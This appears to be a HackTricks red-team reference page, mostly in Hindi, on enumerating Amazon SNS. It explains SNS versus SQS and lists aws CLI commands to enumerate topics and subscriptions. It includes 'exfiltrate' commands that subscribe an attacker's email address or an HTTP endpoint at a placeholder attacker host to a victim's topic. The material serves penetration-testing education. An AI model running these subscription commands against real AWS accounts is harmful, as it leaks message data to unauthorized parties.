AWS - SNS Enum

Reading time: 4 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

SNS

Amazon Simple Notification Service (Amazon SNS) को पूर्ण रूप से प्रबंधित संदेश सेवा के रूप में वर्णित किया गया है। यह एप्लिकेशन-से-एप्लिकेशन (A2A) और एप्लिकेशन-से-व्यक्ति (A2P) संचार प्रकारों का समर्थन करता है।

A2A संचार के लिए प्रमुख विशेषताओं में प्रकाशित/सदस्यता (pub/sub) तंत्र शामिल हैं। ये तंत्र विषयों को पेश करते हैं, जो उच्च-थ्रूपुट, पुश-आधारित, कई-से-कई संदेश भेजने के लिए महत्वपूर्ण हैं। यह विशेषता वितरित प्रणालियों, माइक्रोसर्विसेज, और इवेंट-ड्रिवन सर्वरलेस आर्किटेक्चर से संबंधित परिदृश्यों में अत्यधिक फायदेमंद है। इन विषयों का लाभ उठाकर, प्रकाशक प्रणालियाँ व्यापक रूप से विभिन्न सदस्यता प्रणालियों को संदेशों का कुशलतापूर्वक वितरण कर सकती हैं, जिससे एक फैनआउट संदेश पैटर्न को सुविधाजनक बनाया जा सकता है।

SQS के साथ अंतर

SQS एक क्यू-आधारित सेवा है जो बिंदु-से-बिंदु संचार की अनुमति देती है, यह सुनिश्चित करते हुए कि संदेशों को एकल उपभोक्ता द्वारा संसाधित किया जाता है। यह कम से कम एक बार डिलीवरी प्रदान करता है, मानक और FIFO क्यू का समर्थन करता है, और पुनः प्रयास और विलंबित प्रसंस्करण के लिए संदेशों को बनाए रखने की अनुमति देता है।
दूसरी ओर, SNS एक प्रकाशित/सदस्यता-आधारित सेवा है, जो एक-से-बहुत संचार को सक्षम बनाती है, संदेशों को एक साथ कई सदस्यों को प्रसारित करके। यह ईमेल, SMS, Lambda कार्य, और HTTP/HTTPS जैसे विभिन्न सदस्यता अंत बिंदुओं का समर्थन करता है, और लक्षित संदेश वितरण के लिए फ़िल्टरिंग तंत्र प्रदान करता है।
हालांकि दोनों सेवाएँ वितरित प्रणालियों में घटकों के बीच डिकपलिंग को सक्षम बनाती हैं, SQS क्यूड संचार पर ध्यान केंद्रित करता है, और SNS इवेंट-ड्रिवन, फैन-आउट संचार पैटर्न पर जोर देता है।

Enumeration

bash
# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>

# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt

# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com

# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>

caution

ध्यान दें कि यदि विषय FIFO प्रकार का है, तो केवल SQS प्रोटोकॉल का उपयोग करने वाले सब्सक्राइबर का उपयोग किया जा सकता है (HTTP या HTTPS का उपयोग नहीं किया जा सकता)।

इसके अलावा, भले ही --topic-arn में क्षेत्र शामिल हो, सुनिश्चित करें कि आप --region में सही क्षेत्र निर्दिष्ट करें, अन्यथा आपको एक त्रुटि मिलेगी जो यह संकेत करती है कि आपके पास पहुंच नहीं है, लेकिन समस्या क्षेत्र है।

Unauthenticated Access

AWS - SNS Unauthenticated Enum

Privilege Escalation

AWS - SNS Privesc

Post Exploitation

AWS - SNS Post Exploitation

Persistence

AWS - SNS Persistence

References

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें